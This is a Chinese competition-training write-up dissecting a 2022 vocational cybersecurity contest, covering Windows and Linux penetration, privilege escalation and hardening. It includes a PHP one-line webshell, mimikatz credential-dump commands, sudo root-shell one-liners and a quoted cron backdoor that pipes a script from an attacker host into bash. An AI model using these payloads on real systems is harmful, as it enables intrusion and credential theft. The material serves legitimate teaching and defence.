1. 项目概述一次真实的国赛复盘与深度拆解大家好我是老张一个在网络安全一线和竞赛指导圈混了十多年的老兵。今天想和大家深入聊聊一个非常具体也极具代表性的案例——2022年全国职业院校技能大赛中职组网络安全赛项的AB模块第四套赛题。这不仅仅是一篇赛后解析更是我结合多年带赛和实战经验对这套赛题背后所考察的核心能力、技术栈以及攻防逻辑的一次系统性复盘。如果你正在备战国赛、省赛或者单纯想提升自己在Windows和Linux环境下的综合渗透与加固能力那么这篇近万字的“实战笔记”或许能给你带来一些不一样的思路。为什么选第四套在历年的赛题中每一套都像是一个精心设计的“靶场”考察点各有侧重。第四套赛题在我看来其典型性在于它非常均衡地融合了系统安全、服务安全、应用安全和应急响应等多个维度并且对Windows和Linux两大平台的操作熟练度提出了近乎苛刻的要求。它不像一些偏门的赛题只考某个冷门漏洞而是实实在在地模拟了一个小型企业网络环境中可能存在的、最常见的安全风险点。从弱口令爆破到中间件配置不当从系统权限提升到日志分析溯源整个流程几乎覆盖了初级安全工程师日常工作的核心场景。通过拆解这套题我们不仅能学会“解题”更能理解出题人背后的意图掌握“解题”的方法论从而举一反三应对未来更复杂的挑战。2. 赛题环境与核心思路解析2.1 典型双靶机环境架构2022年国赛的AB模块通常采用经典的双靶机对抗模式。A模块通常代表攻击方红队B模块代表防守方蓝队但角色并非绝对很多时候需要你既攻又守。第四套赛题的环境大概率包含以下两个核心靶机一台Windows Server靶机通常是Windows Server 2012 R2或2016。它扮演着企业内网中常见的服务器角色可能承载着Web服务如IISASP.NET、数据库服务如SQL Server、文件共享服务等。它的安全配置往往存在大量“默认”或“疏忽”留下的问题是攻击者的首要突破口。一台Linux靶机通常是CentOS 7或Ubuntu。它可能作为Web应用服务器Apache/Nginx PHP/Python、数据库服务器MySQL、或内部开发测试机。Linux系统的安全更多地依赖于精细的权限控制和服务配置。这两台机器通常处于同一个内网网段可以互相访问。赛题的目标非常明确在A模块你需要从外部或内部运用各种技术手段获取这两台靶机的最高权限Windows的SYSTEM/Administrator Linux的root并找到隐藏在系统中的特定字符串Flag在B模块你需要根据给定的安全需求或已发现的漏洞对靶机进行安全加固修复漏洞并确保服务正常运行。2.2 攻防整体思路与策略选择面对这样一个环境新手容易陷入“工具轰炸”的误区拿着扫描器乱扫一通结果可能一无所获还触发了防护告警。我的策略始终是“先侦察后渗透先外围后核心权限入手横向移动”。信息收集是基石这不是简单跑个Nmap。对于Windows靶机要关注开放的端口如80、443、445、3389、1433等、横幅信息、可能的Web应用框架。对于Linux靶机除了端口还要关注SSH版本、Web服务器版本、是否有SNMP、NFS等易错配的服务。在国赛环境中出题人往往会留下一些“提示性”的信息比如一个特别的网站标题、一个隐藏的目录名、一个默认的页面这些都可能是突破口。漏洞利用的优先级在有限的时间内优先尝试最高成功概率、最低噪音的攻击路径。例如弱口令/默认口令永远是第一检查项。针对Windows的RDP3389、SMB445Linux的SSH22、MySQL3306、Tomcat管理后台8080等进行常用口令字典爆破。已知公开漏洞根据收集到的服务版本搜索对应的历史漏洞。但国赛通常不会考最新的0day而是近3-5年内影响广泛的漏洞如永恒之蓝MS17-010、Struts2系列漏洞、ThinkPHP历史漏洞等。使用MSF或公开Exp时需要格外小心避免服务崩溃。配置错误与权限提升这是国赛的核心考点。拿到了一个低权限的Webshell或普通用户shell后如何提权至最高权限Windows上可能利用系统服务配置错误、可写目录、令牌窃取、内核漏洞Linux上则可能利用SUID/GUID文件、sudo权限配置不当、计划任务、环境变量劫持等。横向移动与持久化在拿下第一台机器后不要满足于此。利用已获取的凭据如明文密码、哈希、内网信息如其他主机IP尝试攻击另一台靶机。这也是模拟真实攻击链的关键一环。实操心得国赛环境通常是“静态”的即漏洞就在那里不会动态变化。因此仔细阅读赛题描述至关重要。题目中一句“某服务器存在弱口令”或“某Web应用存在上传漏洞”就是最直接的指引比盲目扫描高效十倍。3. Windows靶机核心渗透路径深度剖析Windows靶机是很多选手的“老朋友”但也是容易翻车的地方。下面我们以第四套赛题可能涉及的场景拆解几条经典的攻击链。3.1 Web入口突破与中间件漏洞利用假设靶机开放了80端口运行着IIS。这是最常见的起点。目录扫描与敏感文件发现使用dirsearch、gobuster等工具配合常用字典扫描后台管理页面如/admin、/manage、备份文件如.bak、.old、配置文件如web.config、config.php等。国赛中常会放置一个phpinfo.php或test.php文件来泄露路径信息。常见CMS与框架漏洞如果发现是某种CMS如WordPress、DedeCMS或框架如ThinkPHP立即搜索其历史漏洞。例如ThinkPHP 5.x 的远程代码执行漏洞是国赛常客。利用方式可能通过一个特定的路由如/index.php?s/index/\think\app/invokefunction实现命令执行。文件上传漏洞的利用与绕过这是获取Webshell的黄金手段。赛题可能会设计一个头像上传、文档上传的功能点。前端绕过检查JS验证直接抓包修改即可。后端绕过黑名单绕过尝试shell.php.jpg、shell.php末尾空格、shell.php5、shell.pHp大小写、shell.php::$DATAWindows流特性。内容检测绕过在图片马中插入一句话木马配合文件包含漏洞使用。或者使用script language“php”eval($_POST[‘cmd’]);/script这样的标签。实战技巧上传成功后务必确认Webshell的绝对路径。可以通过报错信息、phpinfo页面或之前扫描到的备份文件来推断。连接Webshell时优先使用蚁剑、冰蝎这类支持加密流量的工具避免被简单的IDS检测。3.2 系统服务漏洞与权限提升实战通过Webshell我们可能只是一个www-data或IIS_USRS权限需要提权到Administrator或SYSTEM。信息收集提权前必经之路在Webshell中执行以下命令收集关键信息systeminfo # 查看系统版本、补丁情况 whoami /priv # 查看当前用户权限寻找如SeImpersonatePrivilege等可利用的特权 net user # 查看本地用户 net localgroup administrators # 查看管理员组 net share # 查看共享 dir c:\ /a # 查看根目录寻找可能存在的脚本、备份文件利用系统服务配置错误服务路径权限检查wmic service get name,displayname,pathname,startmode | findstr /i “Auto” | findstr /i /v “C:\Windows\\”。如果某个自动启动服务的可执行文件路径包含空格且我们对路径中的某个目录有写权限就可以进行“服务路径劫持”。不安全的服务权限使用accesschk.exeSysinternals工具集或sc.exe查看服务的权限配置。如果Everyone或当前用户对服务有SERVICE_CHANGE_CONFIG权限就可以修改服务的binPath指向我们的恶意程序重启服务后获得权限。内核漏洞提权这是最直接的方法。根据systeminfo输出的补丁列表寻找缺失的补丁。例如如果缺少KB4562560等补丁可能存在PrintNightmareCVE-2021-1675/CVE-2021-34527漏洞。使用MSF或GitHub上成熟的Exp进行提权。常用工具WinPEAS、PowerUp.ps1PowerSploit模块是自动化信息收集和提权建议的神器。可以上传到靶机执行。绕过UAC如果当前用户是管理员组但非高完整性级别需要绕过UAC。常用方法有FodHelper、Eventvwr、sdclt等绕过技术通常通过修改注册表实现。注意事项在比赛环境中使用内核Exp要谨慎一些Exp可能导致系统蓝屏BSOD造成靶机不可用而丢分。优先尝试基于配置错误的提权方式它们更稳定、更贴近“系统管理不当”的考点。3.3 内网信息收集与横向移动拿下Windows靶机后它就成了我们进攻Linux靶机的桥头堡。凭据获取内存抓取使用mimikatz执行privilege::debug和sekurlsa::logonpasswords来抓取内存中的明文密码和哈希。这是最有效的方式之一。SAM数据库如果无法直接抓取内存可以尝试转储C:\Windows\System32\config\SAM文件与system文件一起导出在本地用mimikatz或hashcat破解。历史命令与文件检查用户的桌面、文档、浏览器历史记录、保存的密码等可能发现连接其他服务的密码。端口扫描与服务探测从Windows靶机上使用nmap需上传或内置的telnet、powershell Test-NetConnection来探测内网中Linux靶机开放的端口22, 80, 3306, 6379等。凭据重用与爆破将Windows上获取的密码或哈希尝试用来登录Linux的SSH服务、MySQL数据库等。很多人习惯在不同系统使用相同或相似的密码。4. Linux靶机安全漏洞与加固实战Linux靶机的考察点往往更侧重于配置安全和权限控制。4.1 常见服务漏洞利用SSH弱口令爆破这是最直接的入口。使用hydra或medusa进行爆破。字典要精心准备包含常见弱口令、靶机主机名、题目可能相关的词汇等。Web应用漏洞与Windows类似但后端语言可能是PHP、Python。重点关注文件包含include($_GET[‘file’])尝试包含/etc/passwd、日志文件、Session文件来获取信息或执行代码。命令注入寻找可以执行系统命令的参数如ping $_GET[‘ip’]。使用分号;、反引号、|、等进行注入。反序列化漏洞尤其在Java如Struts2、WebLogic、PythonPickle、PHPunserialize应用中。数据库漏洞MySQL的弱口令直接导致数据泄露甚至通过into outfile写Webshell。Redis未授权访问或弱口令可以通过写公钥或计划任务来获取服务器权限。4.2 Linux本地权限提升技巧全集拿到一个www-data或普通用户shell后提权是必经之路。SUID/GUID文件滥用查找SUID文件find / -perm -us -type f 2/dev/null查找GUID文件find / -perm -gs -type f 2/dev/null高危程序find、vim、bash、nmap旧版本、more、less、nano、cp、mv等。如果这些命令具有SUID位并且属于root我们可以利用它们来读取敏感文件或执行命令。例如vim可以打开/etc/shadowfind可以执行-exec参数。Sudo权限配置不当查看当前用户可执行的sudo命令sudo -l如果发现可以以root身份运行某些命令而不需要密码例如sudo vi、sudo find、sudo perl、sudo python等我们可以直接利用这些命令启动一个root shell。例如sudo vi -c ‘:!/bin/sh’或sudo python -c ‘import os; os.system(“/bin/sh”)’。计划任务Cron Job查看系统计划任务cat /etc/crontabls -la /etc/cron.*/查看用户计划任务crontab -l如果发现有一个以root身份定期运行的脚本并且我们对这个脚本或它所在的目录有写权限就可以修改脚本内容插入反向shell代码。环境变量劫持如果有一个SUID程序调用了系统命令如system(“ls”)但没有使用绝对路径我们就可以通过修改PATH环境变量让程序执行我们伪造的ls命令。内核漏洞提权与Windows类似使用uname -a查看内核版本搜索对应的本地提权Exp。常用工具是linux-exploit-suggester.sh它可以自动给出提权建议。4.3 基于B模块的安全加固要点作为防守方你的任务就是修复上述攻击路径。加固不是盲目关闭服务而是在保障业务可用性的前提下提升安全性。账户与口令安全删除或禁用无用账户。为所有账户设置强密码长度、复杂度并定期更换。禁止root用户直接SSH登录改用普通用户登录后su或sudo。配置SSH使用密钥登录禁用密码登录。服务最小化与配置优化关闭非必要的服务和端口netstat -tunlp查看使用systemctl disable关闭。Web服务器隐藏版本信息限制目录遍历关闭不必要的HTTP方法如PUT、DELETE。数据库禁止远程root登录删除测试数据库修改默认端口非必须。Redis绑定本地IP设置强密码重命名或禁用高危命令如FLUSHALL。文件与权限加固检查并修正异常的SUID/GUID文件find / -perm /6000 -type f -exec ls -ld {} \;移除非必要的SUID位chmod u-s filename。检查/etc/passwd和/etc/shadow文件权限应为644和400。检查/tmp、/var/tmp目录的粘滞位sticky bit是否设置drwxrwxrwt。日志审计与监控确保系统日志/var/log/auth.logsecure等和Web日志正常记录。配置logrotate防止日志爆满。安装并配置auditd审计系统监控关键文件和命令的执行。实操心得加固后一定要做验证测试例如修改了SSH配置后开另一个终端尝试用旧密码连接确保新配置生效且自己不会被锁在外面。加固步骤往往有严格的顺序比如先添加新用户并赋予sudo权限再禁用root SSH登录。5. 典型赛题场景与Flag挖掘实战国赛的Flag通常不会明晃晃放在桌面上。它们被巧妙地隐藏在系统的各个角落。Web目录下的Flag可能在网站的根目录、某个子目录、甚至是通过目录遍历才能访问到的深层路径中。文件名可能是flag.txt、key.txt、secret等。使用Webshell的find命令或直接爬取目录是常用方法。数据库中的Flag通过SQL注入或弱口令进入数据库后Flag可能存放在某张表的某个字段里。需要仔细查看数据库名、表名、字段名。常见的表名如flag、secret、keys。系统用户目录在/home/下的各个用户目录或者Windows的C:\Users\目录下可能隐藏着包含Flag的文本文件或脚本文件。配置文件与环境变量查看Web应用的配置文件config.php、application.yml、数据库连接文件有时Flag会作为某个配置值。环境变量env或set也可能包含Flag。历史命令与日志文件查看.bash_history、MySQL的历史文件.mysql_history或者Web日志、系统日志攻击者的测试命令或管理员的误操作可能将Flag写入日志。计划任务或系统脚本被修改的Cron脚本或系统启动脚本里可能包含Flag。特殊权限文件找一个只有root可读的文件比如/root/flag.txt。提权到root后第一件事就是去读它。一个综合案例题目描述“在Linux靶机上发现可疑计划任务请分析并找到植入的后门”。你的操作流程应该是首先cat /etc/crontab发现一个每分钟以root身份运行/opt/scripts/backup.sh的任务。检查该脚本发现其中有一行curl http://attacker-ip/shell.sh | bash明显是后门。那么Flag可能就在这个shell.sh的内容里或者在后门成功执行后创建的某个文件里如/tmp/.hidden_flag。你需要删除或修复这个计划任务并找到Flag。6. 备赛工具链与实战资源推荐工欲善其事必先利其器。一套顺手的工具能极大提升效率。信息收集Nmap端口扫描霸主需熟练掌握各种扫描技巧和脚本。Gobuster/DirsearchWeb目录扫描字典质量决定结果。WhatWeb/Wappalyzer识别Web技术栈。漏洞利用与开发Metasploit Framework (MSF)渗透测试瑞士军刀但比赛中使用需注意set payload的选择和set LHOST的设置避免因网络问题失败。Searchsploit本地漏洞库检索工具。Burp SuiteWeb渗透核心用于抓包、重放、爆破、扫描。社区版足够应付大部分场景。密码破解Hydra网络服务在线爆破。John the Riipper/Hashcat离线密码破解针对获取到的哈希值。后渗透与提权WinPEAS/LinPEASWindows/Linux本地提权辅助脚本信息收集自动化。PowerSploitPowerShell渗透框架。MimikatzWindows凭据提取神器。Webshell管理AntSword蚁剑国产优秀Webshell管理工具插件丰富加密流量。Behinder冰蝎动态加密通信对抗WAF能力强。综合平台Kali Linux最流行的渗透测试发行版集成了上述大部分工具。建议在虚拟机中熟练使用。资源准备字典准备高质量的弱口令字典、目录字典、子域名字典。可以自己根据靶场名称、常见词汇进行定制。漏洞环境在本地搭建Vulhub、DVWA、WebGoat等靶场进行练习特别是针对文件上传、SQL注入、命令执行等核心漏洞。知识体系系统学习OWASP Top 10理解每种漏洞的原理、利用方式及修复方法。最后我想说国赛的AB模块考察的从来不是对某个神秘漏洞的知晓而是扎实的基础知识、严谨的逻辑思维、熟练的工具运用和冷静的临场心态。把每一次练习都当成实战仔细记录下每一个踩过的坑、每一种新学会的技巧。当你对Windows和Linux的系统结构、常见服务、安全配置如数家珍时无论题目如何变化你都能快速找到那条通往Flag的路径。真正的安全能力就藏在这些反复的“攻击-加固-再思考”的循环之中。